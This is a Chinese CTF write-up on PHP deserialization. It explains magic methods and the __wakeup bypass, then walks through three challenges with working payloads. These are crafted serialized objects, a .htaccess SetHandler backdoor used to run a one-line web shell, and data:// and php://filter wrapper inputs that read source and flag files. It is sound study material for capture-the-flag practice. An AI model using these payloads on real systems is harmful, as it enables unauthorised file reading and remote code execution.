序列化与反序列化:
序列化定义:(将对象的状态信息转换为可以存储或传输的形式的过程,简单来说,就是将状态信息保存为)
serialize()函数
所有php
里面的值都可以使用函数serialize()
来返回一个包含字节流的字符串来表示。通俗来说,就是把一个对象变成可以传输的字符串。序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。
将对象的状态信息转换为可以存储或传输的形式的过程,简单来说,就是将状态信息保存为字符串。
反序列化定义:
将字符串转换为状态信息。
常见的PHP魔法函数:
__construct: 类的构造函数,在对象被创建时自动调用。
__destruct: 类的析构函数,在对象被销毁时自动调用。
__get: 当调用一个不存在的属性时自动调用。
__set: 当给一个不存在的属性赋值时自动调用。
__call: 当调用一个不存在的方法时自动调用。
__toString: 当对象被转换为字符串时自动调用。
__sleep: 当对象被序列化时自动调用。
__wakeup: 当对象被反序列化时自动调用。
魔法方法的使用:
_construct():当对象创建(new)时会自动调用,但在unserialize()时是不会自动调用的(构造函数)
__destruct():当对象操作执行完毕后自动执行destruct()函数的代码
__wakeup():unserialize()时自动调用
__call()方法当调用类实例中不存在的函数时自动执行
__wakeup是优先执行的,优先级高于__destruct。
当使用unserialize()恢复对象时,将调用__weakup(),serialize()函数将表单内容序列化成一个字符串
绕过__wakeup的方法:
在类对象属性个数超过实际个数时就会不执行wakeup函数。
例如当前xctf类对象只有1个参数属性$flag,序列化结果为:O:4:“xctf”:1:{s:4:“flag”;s:3:“111”;}
如果将xctf对象个数改成比1大的数,就会绕过wakeup。修改后的结果:O:4:“xctf”:2:{s:4:“flag”;s:3:“111”;}
格式:O:strlen(类名):类名:类的变量个数:{类型:长度:值;类型:长度:值…}
String
类型 :s:size:value
Integer
类型 :i:value
Boolean
类型 :b:value
(保存1
或0
)Null
型 :N
Array
:a:size:{keydefinition;value definition}
1、BUUCTF [网鼎杯 2020 青龙组]AreUSerialz
PHP file_put_contents() 函数
定义和用法
file_put_contents() 函数把一个字符串写入文件中。
与依次调用 fopen(),fwrite() 以及 fclose() 功能一样。
语法
file_put_contents(file,data,mode,context)
参数 | 描述 |
---|---|
file | 必需。规定要写入数据的文件。如果文件不存在,则创建一个新文件。 |
data | 可选。规定要写入文件的数据。可以是字符串、数组或数据流。 |
mode | 可选。规定如何打开/写入文件。可能的值:
|
context | 可选。规定文件句柄的环境。 context 是一套可以修改流的行为的选项。若使用 null,则忽略。 |
说明
参数 data 可以是数组(但不能是多维数组)。
首先进行代码审计,创建了三个对象,使用_construct()方法,对变量进行初赋值。然后调用process()函数,当op=2时会调用read()方法然后再调用output()方法,代码开头包含了flag.php文件,我们的目标就是读取该文件的内容,通过分析代码中的read()方法就是一个读取文件内容的功能,output()就是把内容打印出来,所以我们需要令op的值为2。
_destruct()方法会把op的值改为1,这里需要绕过一下,在2前面加一个空格即可,op= 2,然后使用read()函数,这里是要把变量filename里的文件读出来,因此要让read读取到flag的内容就需要将filename=flag。
构造payload参考他人wp:BUUCTF [网鼎杯 2020 青龙组]AreUSerialz-CSDN博客
<?php
class FileHandler {
public $op = ' 2';
public $filename = 'flag.php';
public $content = '';
}
$a = new FileHandler();
echo serialize($a);
?>
得到
str=O:11:"FileHandler":3:{s:2:"op";s:2:" 2";s:8:"filename";s:8:"flag.php";s:7:"content";s:0:"";}
最后在源代码中找到flag
2、[GXYCTF2019]BabyUpload1
打开题目是一个文件上传,尝试上传一句话木马
回显后缀不能有ph,所以php、php3、phtml等都不可以,文件上传绕过考虑.htaccess构成后门和.user.ini构成后门两种方式
首先尝试.htaccess构成后门:
<FilesMatch "cmd.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
直接上传会被检测出来,因此将MIME类型改为omage/jpeg后成功上传。上传成功后,再将一句话木马以图片的方式上传
上传成功,蚁剑链接找到flag
3、[ZJCTF 2019]NiZhuanSiWei 1
PHP file_get_contents() 函数
定义和用法
file_get_contents() 函数把整个文件读入一个字符串中。
和 file() 一样,不同的是 file_get_contents() 把文件读入一个字符串。
file_get_contents() 函数是用于将文件的内容读入到一个字符串中的首选方法。如果操作系统支持,还会使用内存映射技术来增强性能。
语法
file_get_contents(path,include_path,context,start,max_length)
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件。 |
include_path | 可选。如果也想在 include_path 中搜寻文件的话,可以将该参数设为 "1"。 |
context | 可选。规定文件句柄的环境。 context 是一套可以修改流的行为的选项。若使用 null,则忽略。 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 新加的。 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 新加的。 |
打开后发现一段代码,首先通过get传参传入三个变量,整个text文件读入一个字符串r中并与“welcome to the zjctf”相比较
看其他wp发现是伪造文件输入流。
利用data://
data://数据流封装器,以传递指定格式的数据,可以用来执行PHP代码。
示例:
/?file=data://text/plain;[base64],[执行的php代码]
构造payload:
?text=data://text/plain,welcome to the zjctf
接下来是读取文件,代码中有文件包含且提示了useless.php文件名 ,考虑php伪协议
利用php://filter
php中独有的一个协议,可以作为一个中间过滤器来处理目标数据流,可以进行任意文件的读取,且该协议的参数会在该协议路径上进行传递,多个参数都可以在一个路径上传递,相当于可构造多个过滤器
?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
base64解码后得到代码
这里参考了其他人的wp
<?php
class Flag{ //flag.php
public $file="flag.php";
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$password=new Flag();
echo serialize($password);
?>
得到了一个反序列化代码可以由此构造payload
text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
查看源码得到flag